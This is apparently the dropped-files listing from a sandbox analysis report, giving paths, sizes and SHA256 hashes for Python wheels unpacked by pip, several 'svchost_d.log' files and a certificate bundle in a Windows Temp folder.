                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8di6nk24\vdf-3.4-py2.py3-none-any.whl.metadata
                          • Size 5KB
                          • SHA256 c3a0808f89d4dc5959c2a7d6b526e318afe1ef6ec68961f188b01dba0ac44ef6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          WMI-1.5.1-py2.py3-none-any.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-918aejl2\WMI-1.5.1-py2.py3-none-any.whl.metadata
                          • Size 3KB
                          • SHA256 bf90809237a8ce1dac86bed7e34e4e76692d87ffd21aed16541105cd63ea533a
                          • MD5 SHA1 SHA512 TLSH

                          charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9rjsxoau\charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl.metadata
                          • Size 40KB
                          • SHA256 d2596460949144948a802232d3d952c5ed2c24657548159f46f3528ca5f9fabb
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          requests-2.34.2-py3-none-any.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-__nixjtv\requests-2.34.2-py3-none-any.whl.metadata
                          • Size 4KB
                          • SHA256 8c384ba3e979480faae2859d3c5e6c1276dd2c3616e322e124d52c8cfc556f27
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          certifi-2026.6.17-py3-none-any.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-isp7v82d\certifi-2026.6.17-py3-none-any.whl.metadata
                          • Size 2KB
                          • SHA256 ea15c09edd1ad9e97bc66d9ef71bcfb910a7b592e374a0a437cd5ee3b134c0df
                          • MD5 SHA1 SHA512 TLSH

                          WMI-1.5.1-py2.py3-none-any.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\WMI-1.5.1-py2.py3-none-any.whl
                          • Size 28KB
                          • SHA256 1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          certifi-2026.6.17-py3-none-any.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\certifi-2026.6.17-py3-none-any.whl
                          • Size 130KB
                          • SHA256 2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl
                          • Size 155KB
                          • SHA256 5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          idna-3.18-py3-none-any.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\idna-3.18-py3-none-any.whl
                          • Size 63KB
                          • SHA256 7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pillow-12.2.0-cp312-cp312-win_amd64.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\pillow-12.2.0-cp312-cp312-win_amd64.whl
                          • Size 6.8MB
                          • SHA256 7f84204dee22a783350679a0333981df803dac21a0190d706a50475e361c93f5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          psutil-7.2.2-cp37-abi3-win_amd64.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\psutil-7.2.2-cp37-abi3-win_amd64.whl
                          • Size 134KB
                          • SHA256 eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pycryptodome-3.23.0-cp37-abi3-win_amd64.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl
                          • Size 1.7MB
                          • SHA256 c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pywin32-312-cp312-cp312-win_amd64.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\pywin32-312-cp312-cp312-win_amd64.whl
                          • Size 6.6MB
                          • SHA256 b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          requests-2.34.2-py3-none-any.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\requests-2.34.2-py3-none-any.whl
                          • Size 71KB
                          • SHA256 2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          urllib3-2.7.0-py3-none-any.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\urllib3-2.7.0-py3-none-any.whl
                          • Size 128KB
                          • SHA256 9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          vdf-3.4-py2.py3-none-any.whl

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-it6w6zz7\vdf-3.4-py2.py3-none-any.whl
                          • Size 10KB
                          • SHA256 68c1a125cc49e343d535af2dd25074e9cb0908c6607f073947c4a04bbe234534
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pip-26.1.2-py3-none-any.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-kj25_29p\pip-26.1.2-py3-none-any.whl.metadata
                          • Size 4KB
                          • SHA256 17832de47b5dc23e46253ba16462520036f28d9a27d5c30157784952ca4e69b2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-kkkpgj85\psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata
                          • Size 22KB
                          • SHA256 a263a40220d921d9cb963fc636d34f817aa2eb72c2696e3e3465d088cdb1976b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pywin32-312-cp312-cp312-win_amd64.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-nnr0xtve\pywin32-312-cp312-cp312-win_amd64.whl.metadata
                          • Size 10KB
                          • SHA256 77f53e90408dd3bdcf5f73a20d6548504313dee2ad34f8b3794b2202583a84b1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pillow-12.2.0-cp312-cp312-win_amd64.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-pnviyon_\pillow-12.2.0-cp312-cp312-win_amd64.whl.metadata
                          • Size 8KB
                          • SHA256 500a4dcf2154f5291661ea4a9025898081d536c3026d506c648c31b68a7a66cc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          urllib3-2.7.0-py3-none-any.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-sfbrdusi\urllib3-2.7.0-py3-none-any.whl.metadata
                          • Size 6KB
                          • SHA256 66147856d30bbb6bed01c6ce3326d0f48d84ed5f286ac177633a1486b82eace5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-szo_fgzz\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata
                          • Size 3KB
                          • SHA256 3054c7b6ca96dfa8c968571921d169f91ac8ffa63686629d512dd50aa380bff1
                          • MD5 SHA1 SHA512 TLSH

                          idna-3.18-py3-none-any.whl.metadata

                          • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-z3ah05m5\idna-3.18-py3-none-any.whl.metadata
                          • Size 5KB
                          • SHA256 46dfe6e5ac462d0f680ecd9abcf66e829b6a2334824b4d9e3979b31135caf281
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          svchost_d.log

                          • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                          • Size 131B
                          • SHA256 c0aa9898d7df4df92d79d1204057297cfa1e1fddcb9e5cb000cbdf287ffafe7b
                          • MD5 SHA1 SHA512 TLSH

                          svchost_d.log

                          • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                          • Size 252B
                          • SHA256 885ce8d32a6d245553f6bd53b51db86edbb31988ffb1c718bf737fcc9be9e4a4
                          • MD5 SHA1 SHA512 TLSH

                          svchost_d.log

                          • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                          • Size 1KB
                          • SHA256 3ec1a7b3f1cb5987a65f56dc5998eb98b5ca89ccb67db2b362978c6a48d5af00
                          • MD5 SHA1 SHA512 TLSH

                          svchost_d.log

                          • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                          • Size 2KB
                          • SHA256 091502f92030cdc17e98c921d890e3e9b9e47a0149125c54cd0eee48b3a1afea
                          • MD5 SHA1 SHA512 TLSH

                          svchost_d.log

                          • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                          • Size 2KB
                          • SHA256 2ede2fe86a3edca2e407fef757f5e1efae75f31d9f5337248c3ed111fd46b324
                          • MD5 SHA1 SHA512 TLSH

                          svchost_d.log

                          • Path C:\Users\Admin\AppData\Local\Temp\svchost_d.log
                          • Size 2KB
                          • SHA256 e1f72fe2e49634fe428c6fbf1cb974f2952328f28390af1677003e1a4fed8a6a
                          • MD5 SHA1 SHA512 TLSH

                          cacert.pem

                          • Path C:\Users\Admin\AppData\Local\Temp\tmpptw8x9p5\cacert.pem
                          • Size 266KB
                          • SHA256 fc9165a12403263e7ebfbdad7be7a3eac0fa5d325d3c70465f28d3690072ca28
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          pip.zip

                          • Path C:\Users\Admin\AppData\Local\Temp\tmpptw8x9p5\pip.zip
                          • Size 1.7MB
                          • SHA256 3eadb2e6563251c96c52d3913ca35fa1d38ebe09397529ca6d7ccc181a8bd326
                          • MD5 SHA1 SHA512 SSDEEP TLSH